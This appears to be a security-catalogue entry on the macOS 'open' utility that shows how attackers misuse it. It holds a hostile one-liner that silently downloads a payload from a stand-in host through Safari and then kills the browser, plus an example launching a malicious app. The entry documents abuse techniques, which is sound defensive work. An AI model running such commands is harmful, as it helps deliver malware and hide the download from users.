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open

Open files, folders, apps, URLs, and header files.

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Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command

Examples

Open a malicious file: The open command can be used to open a malicious macOS app from the terminal.

open Malicious.app

Download a malicious file: The following command downloads the payload.zip file in the default browser (Safari) and then kills it.

open -g https://mypayload.io/payload.zip; sleep 3; killall Safari

Detection

TypeRule / Indicator
other No detections at time of publishing

Documentation

The open command-line utility can be used to open files, folders, app, URLs or header files in their associate macOS app.

References